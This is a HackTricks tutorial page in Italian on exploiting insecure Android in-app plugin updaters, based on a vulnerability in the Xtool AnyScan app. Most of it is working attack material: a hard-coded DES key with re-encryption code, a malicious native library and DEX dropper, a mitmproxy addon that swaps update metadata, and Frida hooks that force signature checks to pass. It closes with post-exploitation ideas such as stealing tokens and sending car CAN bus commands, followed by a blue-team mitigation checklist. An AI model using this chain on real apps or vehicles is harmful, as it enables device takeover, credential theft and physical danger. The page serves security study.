Meccanismi di In-App Update Insicuri – Remote Code Execution via Malicious Plugins
Reading time: 10 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Molte applicazioni Android implementano canali di aggiornamento “plugin” o “dynamic feature” propri invece di usare il Google Play Store. Quando l'implementazione è insicura un attacker in grado di intercettare o manomettere il traffico di aggiornamento può fornire codice nativo arbitrario o Dalvik/ART che verrà caricato all'interno del processo dell'app, portando a Remote Code Execution (RCE) completo sul dispositivo – e in alcuni casi su qualsiasi dispositivo esterno controllato dall'app (auto, IoT, dispositivi medicali …).
Questa pagina riassume una catena di vulnerabilità reale trovata nell'app Xtool AnyScan automotive-diagnostics (v4.40.11 → 4.40.40) e generalizza la tecnica in modo da poter auditare altre app Android e weaponise la misconfigurazione durante un red-team engagement.
0. Triage rapido: l'app ha un in‑app updater?
Indizi statici da cercare in JADX/apktool:
- Strings: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
- Endpoint di rete come
/update
,/plugins
,/getUpdateList
,/GetUpdateListEx
. - Helper crittografici vicino ai percorsi di update (DES/AES/RC4; Base64; JSON/XML packs).
- Caricatori dinamici:
System.load
,System.loadLibrary
,dlopen
,DexClassLoader
,PathClassLoader
. - Percorsi di unzip che scrivono nella storage interna dell'app o in quella esterna, poi caricano immediatamente un
.so
/DEX.
Runtime hooks to confirm:
// Frida: log native and dex loading
Java.perform(() => {
const Runtime = Java.use('java.lang.Runtime');
const SystemJ = Java.use('java.lang.System');
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
SystemJ.load.overload('java.lang.String').implementation = function(p) {
console.log('[System.load] ' + p); return this.load(p);
};
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
};
Runtime.load.overload('java.lang.String').implementation = function(p){
console.log('[Runtime.load] ' + p); return this.load(p);
};
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
return this.$init(dexPath, optDir, libPath, parent);
};
});
1. Identificare un TrustManager TLS insicuro
- Decompila l'APK con jadx / apktool e individua lo stack di networking (OkHttp, HttpUrlConnection, Retrofit…).
- Cerca un
TrustManager
oHostnameVerifier
personalizzato che si fidi ciecamente di ogni certificato:
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
- Se presente l'applicazione accetterà qualsiasi certificato TLS → puoi eseguire un proxy MITM trasparente con un self-signed cert:
mitmproxy -p 8080 -s addon.py # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
Se TLS pinning è applicato invece della logica non sicura trust-all, vedi:
Android Anti Instrumentation And Ssl Pinning Bypass
Make APK Accept CA Certificate
2. Reverse-Engineering dei metadati dell'aggiornamento
Nel caso di AnyScan, ogni avvio dell'app innesca una richiesta HTTPS GET a:
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
Il corpo della risposta è un documento XML i cui nodi <FileData>
contengono Base64-encoded, DES-ECB encrypted JSON che descrive ogni plugin disponibile.
Passaggi tipici:
- Individua la routine crittografica (es.
RemoteServiceProxy
) e recupera:
- algoritmo (DES / AES / RC4 …)
- modalità di funzionamento (ECB / CBC / GCM …)
- chiave / IV hard-coded (comunemente costanti DES a 56-bit o AES a 128-bit)
- Reimplementa la funzione in Python per decriptare / criptare i metadata:
from Crypto.Cipher import DES
from base64 import b64decode, b64encode
KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan
def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))
def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
Note riscontrate sul campo (2023–2025):
- I metadata sono spesso JSON-within-XML o protobuf; cifrature deboli e chiavi statiche sono comuni.
- Molti updaters accettano plain HTTP per il download effettivo del payload anche se i metadata arrivano via HTTPS.
- I plugin spesso si unzip in app-internal storage; alcuni usano ancora external storage o il legacy
requestLegacyExternalStorage
, permettendo cross-app tampering.
3. Creare un Plugin Maligno
3.1 Percorso della libreria nativa (dlopen/System.load[Library])
- Scegli qualsiasi plugin ZIP legittimo e sostituisci la libreria nativa con il tuo payload:
// libscan_x64.so – constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
- Aggiorna i metadata JSON in modo che "FileName" : "PWNED.zip" e "DownloadURL" punti al tuo HTTP server.
- Crittografa di nuovo + codifica in Base64 il JSON modificato e copialo di nuovo all'interno dell'XML intercettato.
3.2 Dex-based plugin path (DexClassLoader)
Alcune app scaricano un JAR/APK e caricano codice tramite DexClassLoader
. Costruisci un DEX malevolo che si attivi al caricamento:
// src/pwn/Dropper.java
package pwn;
public class Dropper {
static { // runs on class load
try {
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
} catch (Throwable t) {}
}
}
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this
Se il target chiama Class.forName("pwn.Dropper")
, il tuo inizializzatore statico viene eseguito; altrimenti, usa Frida per enumerare riflessivamente le classi caricate e invocare un metodo esportato.
4. Consegnare il Payload con mitmproxy
addon.py
example that silently swaps the original metadata:
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()
def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)
Avvia un semplice server web per ospitare lo ZIP/JAR malizioso:
python3 -m http.server 8000 --directory ./payloads
Quando la vittima avvia l'app farà:
- recuperare il nostro XML contraffatto tramite il canale MITM;
- decifrarlo e analizzarlo con la crypto hard-coded;
- scaricare
PWNED.zip
oplugin.jar
→ decomprimerlo nello storage privato; - caricare la
.so
o il DEX incluso, eseguendo istantaneamente il nostro codice con i permessi dell'app (camera, GPS, Bluetooth, filesystem, …).
Poiché il plugin è memorizzato nella cache su disco, la backdoor persiste tra i reboot ed è eseguita ogni volta che l'utente seleziona la funzione correlata.
4.1 Bypassare i controlli di signature/hash (se presenti)
Se l'updater valida signatures o hashes, intercetta la verifica in modo che accetti sempre il contenuto dell'attaccante:
// Frida – make java.security.Signature.verify() return true
Java.perform(() => {
const Sig = Java.use('java.security.Signature');
Sig.verify.overload('[B').implementation = function(a) { return true; };
});
// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
const Arrays = Java.use('java.util.Arrays');
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});
Considera inoltre di creare stub per i metodi del vendor come PluginVerifier.verifySignature()
, checkHash()
, o bypassare la logica di gating degli update in Java o JNI.
5. Altre superfici d'attacco negli updater (2023–2025)
- Zip Slip path traversal while extracting plugins: malicious entries like
../../../../data/data/<pkg>/files/target
overwrite arbitrary files. Always sanitize entry paths and use allow‑lists. - External storage staging: if the app writes the archive to external storage before loading, any other app can tamper with it. Scoped Storage or internal app storage avoids this.
- Cleartext downloads: metadata over HTTPS but payload over HTTP → straightforward MITM swap.
- Incomplete signature checks: comparing only a single file hash, not the whole archive; not binding signature to developer key; accepting any RSA key present in the archive.
- React Native / Web-based OTA content: if native bridges execute JS from OTA without strict signing, arbitrary code execution in the app context is possible (e.g., insecure CodePush-like flows). Ensure detached update signing and strict verification.
6. Post-Exploitation Ideas
- Rubare cookie di sessione, token OAuth o JWT memorizzati dall'app.
- Depositare un APK secondario e installarlo silenziosamente via
pm install
se possibile (alcune app dichiarano giàREQUEST_INSTALL_PACKAGES
). - Abusare di qualsiasi hardware connesso – nello scenario AnyScan puoi inviare comandi arbitrari OBD‑II / CAN bus (sbloccare porte, disabilitare ABS, ecc.).
Checklist di rilevamento e mitigazione (blue team)
- Avoid dynamic code loading and out‑of‑store updates. Prefer Play‑mediated updates. If dynamic plugins are a hard requirement, design them as data‑only bundles and keep executable code in the base APK.
- Enforce TLS properly: no custom trust‑all managers; deploy pinning where feasible and a hardened network security config that disallows cleartext traffic.
- Do not download executable code from outside Google Play. If you must, use detached update signing (e.g., Ed25519/RSA) with a developer‑held key and verify before loading. Bind metadata and payload (length, hash, version) and fail closed.
- Use modern crypto (AES‑GCM) with per‑message nonces for metadata; remove hard‑coded keys from clients.
- Validate integrity of downloaded archives: verify a signature that covers every file, or at minimum verify a manifest of SHA‑256 hashes. Reject extra/unknown files.
- Store downloads in app‑internal storage (or scoped storage on Android 10+) and use file permissions that prevent cross‑app tampering.
- Defend against Zip Slip: normalize and validate zip entry paths before extraction; reject absolute paths or
..
segments. - Consider Play “Code Transparency” to allow you and users to verify that shipped DEX/native code matches what you built (compliments but does not replace APK signing).
References
- NowSecure – Remote Code Execution Discovered in Xtool AnyScan App
- Android Developers – Dynamic Code Loading (risks and mitigations)
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.